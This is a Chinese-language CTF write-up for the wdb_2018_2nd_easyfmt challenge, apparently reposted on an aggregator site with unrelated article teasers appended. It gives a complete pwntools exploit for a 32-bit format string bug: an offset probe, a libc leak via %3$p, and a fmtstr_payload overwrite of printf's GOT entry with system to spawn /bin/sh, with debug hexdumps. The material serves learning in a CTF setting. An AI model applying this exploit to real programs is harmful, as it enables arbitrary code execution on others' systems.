从零开始做题:逆向wdb_2018_2nd_easyfmt

1.题目信息

2.解题分析

格式化字符串漏洞

如何确定偏移

Do you know repeater?

输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

输出AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.

#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6

最开始输入的AAAA,在offset=6的位置输出了,可以推出栈上其他位置的偏移。

[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
    Arch:     i386-32-little           #32位程序
    RELRO:    Partial RELRO   #got表可写
    Stack:    No canary found    #栈可溢出
    NX:       NX enabled            #shellcode不可以
    PIE:      No PIE (0x8048000) #代码段无随机化,地址都可以知道

[x] Starting local process './wdb_2018_2nd_easyfmt'
[+] Starting local process './wdb_2018_2nd_easyfmt': pid 253
[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
[DEBUG] Sent 0x5 bytes:'%3$p\n'
[DEBUG] Received 0x22 bytes:'Do you know repeater?\n''0xf7f15c08\n''\n'
[*] leak: 0xf7f15c08
[*] libc: 0xf7d36000
[DEBUG] Sent 0x3b bytes:00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  │····│····│····│····│00000010  25 34 38 63  25 36 24 68  68 6e 25 32  30 31 63 25  │%48c│%6$h│hn%2│01c%│00000020  37 24 68 68  6e 25 32 30  36 63 25 38  24 68 68 6e  │7$hh│n%20│6c%8│$hhn│00000030  25 33 32 63  25 39 24 68  68 6e 0a                  │%32c│%9$h│hn·│0000003b
[*] Switching to interactive mode[DEBUG] Received 0x1f9 bytes:00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  │····│····│····│····│00000010  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*00000030  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 08  │    │    │    │   ·│00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*00000100  20 20 20 20  20 20 20 20  64 20 20 20  20 20 20 20  │    │    │d   │    │00000110  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*000001d0  20 20 20 20  20 20 08 20  20 20 20 20  20 20 20 20  │    │  · │    │    │000001e0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │000001f0  20 20 20 20  20 20 00 0a  0a                        │    │  ··│·│000001f9
����                                                                                                                                                                                                                                                       d                                                                                                                                                                                                                                            

3.解题脚本及注解

使用powdocker1604环境https://blog.csdn.net/weixin_44626085/article/details/135561582

标红的地方替换下面相应的值 

#coding=utf-8
from pwn import *
#设置gdp调试环境tmux
context.terminal=["tmux","sp","-h"]#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={"LD_PRELOAD":"/glibc/2.23/32/lib/libc.so.6"})
#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={'LD_PRELOAD':'./libc-2.23.so'})
#p= process('./wdb_2018_2nd_easyfmt')
#本地调试./wdb_2018_2nd_easyfmt,使用远程环境的提供的libc-2.23.so
p = process('./wdb_2018_2nd_easyfmt', env={'LD_PRELOAD':'./libc-2.23.so'})
#远程连接环境
#p = remote('node5.buuoj.cn',25976)
#gdb.attach(p)
#gdb动态调试elf = ELF('./wdb_2018_2nd_easyfmt')
#使用elf函数
context.log_level='debug'offset = 6 
p.sendline('%3$p') 
#Do you know repeater?
#AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
#AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6p.recvuntil('0x')
leak = int(p.recvuntil('\n', drop=True), 16)
#接收到f7e306bb,转换成整数log.info('leak: '+hex(leak))
#输出leak#pause()
libc = leak-0xf7f60c08+0xf7d81000
#算出libc地址log.info('libc: '+hex(libc))
#输出libc地址system =libc+0x3a940
#输出system地址pl = fmtstr_payload(offset,{elf.got['printf'] : system})
#构造playload,将打印地址改成system地址p.sendline(pl)p.interactive()#pause()p.sendline('/bin/sh')

最后一个坑是换成远程的时候发现不成功,然后换了一台电脑后就成功了,不成功的是amd芯片的

,成功的intel芯片的。这个坑浪费了我大量的时间。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/622170.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

City Terrace Pack

“城市与露台资源包” 的主要特点:• 属于系列的一部分。• 极为逼真和现代化的城市。• 高度优化的低多边形和逼真资源。• 可用于 Oculus、GearVR、Vive、Daydream。• 可用于低端和高端移动设备。• 灵感来自于现代建筑和设计。• 36 种不同的摩天大楼和建筑物。• 其中每个…

【Windows 10 / 11】彻底卸载Microsoft Edge

彻底卸载Microsoft Edge的方法 第一种 打开C盘,定位到Edge安装目录,一般是“C:\Program Files (x86)\Microsoft\Edge\Application\”进入对应当前Edge版本号的文件夹,并进入“Installer”文件夹内找到“setup.exe”按下“shift”键并点击鼠标…

【ARM 嵌入式 编译系列 10.4 -- elf 文件各个段信息查看】

文章目录 elf 文件各个段信息查看 elf 文件各个段信息查看 在进行代码编译完成的时候,我们会经常见到下面信息, 这个是怎么实现的呢? text data bss dec hex filename11818 2120 5736 19674 4cda ra4m2.elf使用 arm-none-eab…

第九部分 使用函数 (二)

目录 一、字符串处理函数 1、subst 2、patsubst 3、strip 4、findstring 5、filter 6、filter-out 7、sort 8、word 9、wordlist 10、words 11、firstword 12、字符串函数实例 一、字符串处理函数 1、subst $(subst <from>,<to>,<text>) 名称…

【2023 我的编程之旅】

前言 转眼 2024 年都过去 14 天了。回顾 2023 有太多技术上的思考以及人生的感悟&#xff0c;接下来趁着 CSDN 官方活动&#xff0c;顺便记录下来。 技术的价值 与现在的年轻人一心只想搞钱不同&#xff0c;刚毕业的时候&#xff0c;我的梦想是进入一家有实力的科技企业&…

如何创建并格式化硬盘分区?

一般将新硬盘连接到计算机后&#xff0c;需先创建并格式化硬盘分区。否则在磁盘管理中会显示为“未分配空间”&#xff0c;并在文件资源管理器中不可见。那我们如何在硬盘上创建新分区&#xff0c;并对新分区进行格式化&#xff1f; 方法1. 通过命令提示符 首先&#xff0c;我…

两周掌握Vue3(三):全局组件、局部组件、Props

文章目录 一、全局组件1.创建全局组件2.在main.js中注册全局组件3.使用全局组件 二、局部组件1.创建局部组件2.在另一个组件中注册、使用局部组件 三、Props1.定义一个子组件2.定义一个父组件3.效果 代码仓库&#xff1a;跳转 本博客对应分支&#xff1a;03 一、全局组件 Vue…

四、C#高级特性(反射与序列化)

在C#中&#xff0c;反射&#xff08;Reflection&#xff09;和序列化&#xff08;Serialization&#xff09;是两个重要的高级特性&#xff0c;它们在程序设计和开发中有着广泛的应用。 反射&#xff08;Reflection&#xff09; 反射是.NET框架的一个重要特性&#xff0c;它允…

c语言之输出函数用法 putchar

putchar函数 putchar函数是c语言输出函数&#xff0c;但它只能输出单个字符&#xff0c;如果要输出字符串就不合适了。 应用举例 #include<stdio.h> int main() {putchar(a);putchar(4);putchar(\n);return 0: } 从上面代码可以看出&#xff0c;单字符必须用单引号’…

vue项目添加改变浏览器标签title的标题

第一步:在main.js文件里添加 Vue.directive(title,{inserted:function(el,binding{document.title el.dataset.title}) })第二步:在组件任意一位置添加 <template><div class""main v-title data-title"自定义首页标题"></div> </…

计算机缺失mfu140u.dll的5种解决方法,亲测有效

在计算机系统运行过程中&#xff0c;mfu140u.dll文件的丢失是一个较为常见的问题场景。这个动态链接库文件(mfu140u.dll)对于系统的正常运行具有关键作用&#xff0c;它的缺失可能导致相关应用程序无法启动或执行功能异常。具体来说&#xff0c;mfu140u.dll丢失的场景可能出现在…

原子的质量是由质子质量、中子质量、电子质量组成的吗?

问题描述&#xff1a;原子的质量是由质子质量、中子质量、电子质量组成的吗&#xff1f; 问题解答&#xff1a; 是的&#xff0c;原子的质量主要由构成原子的质子、中子和电子的质量组成。这三种基本粒子在原子中分别承担不同的角色&#xff1a; 质子&#xff08;Proton&…

操作系统复习 五、六章

操作系统复习 五、六章 文章目录 操作系统复习 五、六章第五章 并发性: 互斥和同步基本概念实现临界区互斥访问的基本方法信号量管程 第六章 并发性:死锁和饥饿死锁的概念死锁的处理策略死锁的预防死锁避免死锁的检测和接触饥饿、死锁、死循环的区别 第五章 并发性: 互斥和同步…

Arm LDM和STM的寻址方式

A32指令集中包含多数据传输指令LDM和STM&#xff0c;也就是单条指令可以传输多个寄存器的值与内存交互&#xff0c;这对于数据块传输以及寄存器的压入栈很有帮助。LDM和STM指令可分别用于实现堆栈的pop和push操作。对于堆栈操作&#xff0c;基寄存器通常是堆栈指针(SP)。 LDM和…

Spring Boot Starter设计实现

前言 Starter 是 Spring Boot 非常重要的一个硬核功能。 通过 Starter 我们可以快速的引入一个功能或模块&#xff0c;而无须关心模块依赖的其它组件。关于配置&#xff0c;Spring Boot 采用“约定大于配置”的设计理念&#xff0c;Starter 一般都会提供默认配置&#xff0c;只…

Python脚本——.csv文件转.txt脚本三则

第一则 """ 批量给指定文件夹内的所有.csv文件增加表头后转成txt """import osdef add_header_and_convert_to_txt(csv_folder, header, output_folder):# 获取指定文件夹中的所有.csv文件csv_files [f for f in os.listdir(csv_folder) if f.…

LeetCode讲解篇之2280. 表示一个折线图的最少线段数

文章目录 题目描述题解思路题解代码 题目描述 题解思路 折线图中如果连续的线段共线&#xff0c;那么我们可以可以将其合并成一条线段 首先将坐标点按照横坐标升序排序 然后遍历数组 我们可以通过计算前一个线段的斜率和当前线段的斜率来判断是否共线 如果二者相等&#x…

【Linux常用的基本指令】

Linux学习笔记---002 Linux的基本指令1、ls指令2、pwd指令3、mkdir指令4、cd指令5、alias命令6、clear指令7、touch指令8、rmdir指令9、rm指令10、man指令11、cp指令12、mv指令13、cat指令14、more指令15、less指令16、时间相关的指令16.1、date指令16.2、cal指令 17、find指令…

Python之字符串中常用的方法

1. 去掉空格和特殊符号 name " abcdefgeyameng " name1 name.strip() # 并不会在原来的字符串上操作,返回一个去除了两边空白的字符串 print(name1, len(name1), name, len(name)) # abcdefgeyameng 14 abcdefgeyameng 17 # 去掉左边的空格和换行符 name2 n…

测试SpringBoot的时候报错mapper未装载的解决方案:

1.报错信息和截图&#xff1a; org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name com.tang.testspringboot.TestSpringBootApplicationTests: Unsatisfied dependency expressed through field mapper: No qualifying bean o…